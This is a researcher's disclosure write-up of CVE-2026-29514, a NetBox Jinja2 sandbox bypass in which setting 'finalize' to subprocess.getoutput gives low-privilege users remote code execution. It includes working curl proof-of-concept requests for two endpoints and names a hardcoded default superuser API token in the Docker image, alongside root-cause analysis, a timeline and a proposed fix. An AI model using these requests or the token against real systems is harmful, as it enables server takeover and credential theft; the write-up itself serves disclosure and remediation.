CVE-2026-29514: NetBox Jinja2 Sandbox Bypass to RCE via RenderTemplateMixin environment_params

Valentin Lobstein /
Table of Contents

TL;DR

NetBox’s RenderTemplateMixin lets users pass Jinja2 environment parameters, including finalize, which is resolved via Django’s import_string() with no allowlist. Setting finalize to subprocess.getoutput turns every {{ expression }} into a shell command. The Jinja2 sandbox can’t intercept it because finalize runs outside the sandbox’s call evaluation. Both ExportTemplate and ConfigTemplate inherit from the same mixin, giving two attack vectors. A low-privilege user (non-staff, non-superuser) gets RCE.

FieldValue
CVECVE-2026-29514
SeverityHigh (CVSS 8.8)
CWECWE-94 - Improper Control of Generation of Code
Affectedv4.3.5 - v4.5.4 (current)
VectorsExportTemplate, ConfigTemplate (same root cause)
AuthLow-privilege, non-staff, non-superuser

Background

I recently found an RCE chain in openDCIM (SQL injection to config poisoning to exec()). The maintainer wasn’t cooperative and there’s still no patch. While looking into it, I noticed a trend - people are moving away from openDCIM to NetBox. openDCIM is showing its age, and NetBox has become the go-to open-source DCIM/IPAM platform with ~20k GitHub stars.

NetBox is used to model networks - sites, racks, devices, IP addresses, VLANs, circuits. You’ll find it running at ISPs, data centers, enterprises, and government agencies. It’s maintained by NetBox Labs, with the lead developer being Jeremy Stretch.

What caught my attention is that NetBox has very few CVEs. But when you dig into it, you realize part of that is because some features are RCE by design - the Scripts feature lets admins run arbitrary Python. That’s intentional and well-documented. The question I wanted to answer was: can a non-admin privilege lead to unintended code execution?

NetBox has an Export Templates feature that lets users define Jinja2 templates for exporting object data in custom formats. Think CSV exports, configuration files, inventory reports. The documentation includes a security warning:

Export templates are rendered using user-submitted code, which may pose security risks under certain conditions. Only grant permission to create or modify export templates to trusted users.

To enforce this, NetBox renders templates inside Jinja2’s SandboxedEnvironment, which restricts attribute access and blocks dangerous calls like __import__, os.system, and the usual SSTI tricks. Classic SSTI payloads like {{ ''.__class__.__mro__[1].__subclasses__() }} are properly blocked.

The sandbox works. The problem is what happens before it gets a chance to intervene.

The Vulnerability

How environment_params works

In April 2025, PR #19078 added an environment_params JSON field to ExportTemplates. This lets users pass configuration to the Jinja2 environment constructor - things like trim_blocks, lstrip_blocks, etc. Legitimate and useful.

The field is stored as JSON on the RenderTemplateMixin model:

environment_params = models.JSONField(
    verbose_name=_('environment parameters'),
    blank=True,
    null=True,
    default=dict,
    help_text=_(
        'Any <a href="{url}">additional parameters</a> to pass when '
        'constructing the Jinja environment'
    ).format(url='https://jinja.palletsprojects.com/en/stable/api/#jinja2.Environment')
)

The import_string() addition

Three months later, issue #18797 requested support for jinja2.StrictUndefined - a reasonable ask. Users wanted templates to error out on undefined variables instead of silently rendering broken configs. The problem is that StrictUndefined is a Python class, not a JSON-serializable string.

PR #19962, authored by Jeremy Stretch and merged on July 29, 2025, solved this by using Django’s import_string() to resolve dotted Python paths for two parameters: undefined and finalize.

Here’s the commit that introduced the vulnerability - 063d1fef7:

# netbox/extras/constants.py, line 36-39
JINJA_ENV_PARAMS_WITH_PATH_IMPORT = (
    'undefined',
    'finalize',
)
# netbox/extras/models/mixins.py, line 127-135
def get_environment_params(self):
    """
    Pre-processing of any defined Jinja environment parameters
    (e.g. to support path resolution).
    """
    params = self.environment_params or {}
    for name, value in params.items():
        if name in JINJA_ENV_PARAMS_WITH_PATH_IMPORT and type(value) is str:
            params[name] = import_string(value)
    return params

import_string() resolves any dotted Python path to the corresponding object. "jinja2.StrictUndefined" resolves to the StrictUndefined class. But "subprocess.getoutput" resolves to subprocess.getoutput. There’s no allowlist.

Why finalize bypasses the sandbox

This is the key part. Jinja2’s finalize parameter is a callback invoked on every rendered expression value before it’s output. When you write {{ "id" }}, the string "id" goes through finalize("id") before being included in the output.

The SandboxedEnvironment intercepts calls made inside template expressions - it overrides call() to check if the target is safe. But finalize is set at environment construction time, as a constructor parameter:

# netbox/utilities/jinja2.py, line 68
environment = SandboxedEnvironment(**environment_params)

The sandbox never gets a chance to evaluate the finalize callable. It’s not a call made from within a template expression - it’s a callback installed on the environment itself, invoked by Jinja2’s rendering internals. The sandbox’s call() interception doesn’t apply.

So when finalize=subprocess.getoutput:

{{ "id" }}

becomes:

subprocess.getoutput("id")

That’s it. The SSTI payload is literally just a string in double quotes.

The PR review

What makes this interesting is that the security question was explicitly raised during code review. Reviewer jnovinger asked:

Should we do any validation of value? E.g. make sure it’s within a set of accepted values?

Jeremy Stretch replied:

What would the valid values be? I don’t think we have a way of knowing.

The reviewer accepted that answer. The PR was merged without validation.

The rendering pipeline

To understand why this works end-to-end, here’s the full call chain from API request to code execution:

Step 1 - User creates an ExportTemplate via the API. The ExportTemplateSerializer accepts environment_params as a JSON field with no validation on the values:

class ExportTemplateSerializer(OwnerMixin, ChangeLogMessageSerializer, ValidatedModelSerializer):
    class Meta:
        model = ExportTemplate
        fields = [
            'id', 'url', 'display_url', 'display', 'object_types', 'name',
            'description', 'environment_params', 'template_code', 'mime_type',
            'file_name', 'file_extension', 'as_attachment', 'data_source',
            'data_path', 'data_file', 'data_synced', 'owner', 'created',
            'last_updated',
        ]

Step 2 - User triggers rendering via GET /api/<app>/<model>s/?export=<template_name>. The ExportTemplatesMixin.list() method catches the export parameter:

class ExportTemplatesMixin:
    def list(self, request, *args, **kwargs):
        if 'export' in request.GET:
            object_type = ObjectType.objects.get_for_model(
                self.get_serializer_class().Meta.model
            )
            et = ExportTemplate.objects.filter(
                object_types=object_type, name=request.GET['export']
            ).first()
            if et is None:
                raise Http404
            queryset = self.filter_queryset(self.get_queryset())
            return et.render_to_response(queryset=queryset)
        return super().list(request, *args, **kwargs)

Step 3 - render_to_response() calls render(), which calls get_environment_params() - and import_string("subprocess.getoutput") resolves to the actual function.

Step 4 - The resolved callable is passed to SandboxedEnvironment(**environment_params). Every {{ expression }} now goes through subprocess.getoutput().

The command output is returned directly in the HTTP response body.

Permissions and limitations

This is not an unauthenticated vulnerability. NetBox has a well-designed permission model based on ObjectPermission objects that map users/groups to actions on content types.

Since both ExportTemplate and ConfigTemplate inherit from RenderTemplateMixin, there are two attack vectors with different permission requirements:

Via ExportTemplate:

  • extras | export template | add + view
  • view permission on any content type (e.g. dcim | site) to hit the list endpoint with ?export=

Via ConfigTemplate:

  • extras | config template | add + view + render

Both paths only require non-staff, non-superuser permissions. The user can’t access the admin panel, can’t manage users, can’t run scripts.

For comparison, NetBox’s Scripts feature - which is the intended way to run custom Python code - requires a separate extras.run_script permission and the code must be uploaded as Python modules by an administrator:

def post(self, request, pk):
    script = self._get_script(pk)
    if not request.user.has_perm('extras.run_script', obj=script):
        raise PermissionDenied(
            "This user does not have permission to run this script."
        )

Scripts are the sanctioned RCE feature. Export templates are not supposed to be one. The sandbox exists specifically to prevent template authors from executing code. This bypass makes the sandbox irrelevant.

Exploitation

Tested on NetBox 4.5.4 with the official Docker image (netboxcommunity/netbox:v4.5-4.0.1).

Via ExportTemplate

# Authenticate
curl -s -X POST http://target:8080/api/users/tokens/provision/ \
  -H "Content-Type: application/json" \
  -d '{"username":"lowpriv","password":"lowpriv123"}'

# Create malicious template
curl -s -X POST http://target:8080/api/extras/export-templates/ \
  -H "Content-Type: application/json" \
  -H "Authorization: Token <key>" \
  -d '{
    "name": "poc",
    "object_types": ["dcim.site"],
    "template_code": "{{ \"id\" }}",
    "environment_params": {"finalize": "subprocess.getoutput"}
  }'

# Trigger render - RCE
curl -s http://target:8080/api/dcim/sites/?export=poc \
  -H "Authorization: Token <key>"
# uid=999(netbox) gid=0(root) groups=0(root)

# Cleanup
curl -s -X DELETE http://target:8080/api/extras/export-templates/<ID>/ \
  -H "Authorization: Token <key>"

The payload is environment_params.finalize set to subprocess.getoutput. The template code is {{ "id" }} - just a string literal that becomes the shell command. The output comes back in the HTTP response.

Via ConfigTemplate

# Create malicious config template
curl -s -X POST http://target:8080/api/extras/config-templates/ \
  -H "Content-Type: application/json" \
  -H "Authorization: Token <key>" \
  -d '{
    "name": "poc",
    "template_code": "{{ \"id\" }}",
    "environment_params": {"finalize": "subprocess.getoutput"}
  }'

# Trigger render - RCE
curl -s -X POST http://target:8080/api/extras/config-templates/<ID>/render/ \
  -H "Content-Type: application/json" \
  -H "Authorization: Token <key>" \
  -H "Accept: text/plain" \
  -d '{}'
# uid=999(netbox) gid=0(root) groups=0(root)

# Cleanup
curl -s -X DELETE http://target:8080/api/extras/config-templates/<ID>/ \
  -H "Authorization: Token <key>"

Same root cause, same payload. ConfigTemplate doesn’t need an object_types field or existing data - just create, render, done.

Impact

Remote code execution as the NetBox service user (uid=999 netbox). In Docker deployments, this user runs with gid=0 (root group).

NetBox typically stores network infrastructure data - IP allocations, device inventories, circuit information, rack layouts. An attacker with RCE on a NetBox instance has access to:

  • Database credentials via environment variables
  • The SECRET_KEY used for session signing
  • Network topology and IP address plans
  • Config contexts that may contain device credentials
  • Redis credentials (used for caching and task queuing)
  • Network access to backend services (PostgreSQL, Redis)

Bonus: the Docker default token problem

While researching this, I looked at the netbox-docker project and found a separate but related issue that makes things worse.

The official Docker image creates a superuser at startup with a hardcoded API token: 0123456789abcdef0123456789abcdef01234567. This is in docker/super_user.py:

su_api_token = _read_secret(
    "superuser_api_token",
    environ.get("SUPERUSER_API_TOKEN", "0123456789abcdef0123456789abcdef01234567"),
)

This was reported in March 2023 (issue #953) and a CVE was reserved (CVE-2023-27573), but that CVE was never published on NVD or GHSA. The “fix” (PR #955) only changed SKIP_SUPERUSER to true by default in the env file. The hardcoded fallback in the code was never touched. Anyone who sets SKIP_SUPERUSER=false to create an admin - which is the normal deployment workflow - without explicitly setting SUPERUSER_API_TOKEN gets the same static token.

This matters because the token grants superuser privileges, which includes access to the Scripts feature. Scripts execute arbitrary Python on the server. So on any Docker deployment where the operator didn’t explicitly change the token, anyone who knows the value has unauthenticated RCE - no need for the finalize bypass at all.

I submitted a fix to generate a random token when no explicit value is provided: netbox-docker PR #1643. The change is two lines - import secrets and secrets.token_hex(20) instead of the hardcoded string.

Timeline

  • 2025-04-08: environment_params field added to ExportTemplate (PR #19078, v4.3.0)
  • 2025-07-29: import_string() added for finalize parameter (PR #19962, v4.3.5)
  • 2026-03-10: Vulnerability discovered
  • 2026-03-10: Reported to security@netboxlabs.com and VulnCheck (CNA)
  • 2026-03-10: CVE-2026-29514 assigned by VulnCheck
  • 2026-03-10: Submitted fix for hardcoded Docker API token (netbox-docker PR #1643)
  • 2026-05-01: Confirmed v4.5.4 and current main are byte-identical for extras/models/mixins.py after no maintainer response. The path-import behavior introduced in 063d1fef has not been touched since.
  • 2026-05-01: Submitted fix to NetBox upstream (PR #22078) adding an allowlist on path-import params, validation at clean(), and re-validation at render time.
  • 2026-05-01: Public disclosure.
  • 2026-05-01: Maintainer (@jeremystretch) requested that an accepted issue precede the PR per the contributing guide. Opened tracking issue #22079 and replied on the PR linking to it.

Fix

I submitted PR #22078 upstream. The fix introduces a JINJA_ENV_PARAM_IMPORT_ALLOWLIST constant mapping each path-import key to the dotted paths that may be resolved:

  • undefined is restricted to the four jinja2 undefined classes (Undefined, ChainableUndefined, DebugUndefined, StrictUndefined).
  • finalize is empty by default. No arbitrary callable can be imported.

RenderTemplateMixin.clean() rejects unsafe values at save time, and get_environment_params() re-validates at render time as defense in depth. The original payload (finalize: subprocess.getoutput) is rejected before any import_string() call.

An alternative would be to remove finalize from JINJA_ENV_PARAMS_WITH_PATH_IMPORT entirely - the original feature request (#18797) was about supporting custom undefined classes, not arbitrary finalize callables. The allowlist approach keeps the feature surface available while closing the import path.

Note on the disclosure workflow

Worth mentioning, since it’s likely to come up for other researchers reporting against NetBox. The contributing guide requires every PR to reference an accepted issue before any further work happens on the PR. That makes sense for feature requests and reproducible bug reports - you want triage before code review. For coordinated security fixes the same rule cuts the other way:

  • The vendor security mailbox (security@netboxlabs.com) exists, but if it doesn’t get a response, the only path forward is a public issue with reproduction details - which is the opposite of what coordinated disclosure is supposed to look like.
  • The PR cannot land without an accepted public issue, so the patch is gated on the same public step that exposes the bug.
  • Issue #21988 ran into the same situation and was opened as an explicit “public tracking stub” for that reason.

GitHub Security Advisories (GHSA) on the repository, or even a documented “security PR” exception, would let a fix and the public stub land at roughly the same moment instead of forcing a window between them. None of this is a critique of the maintainers - the policy is sound for the cases it was designed for. It just doesn’t quite fit a security workflow, and it’s worth flagging so the next person reporting through this channel knows what to expect.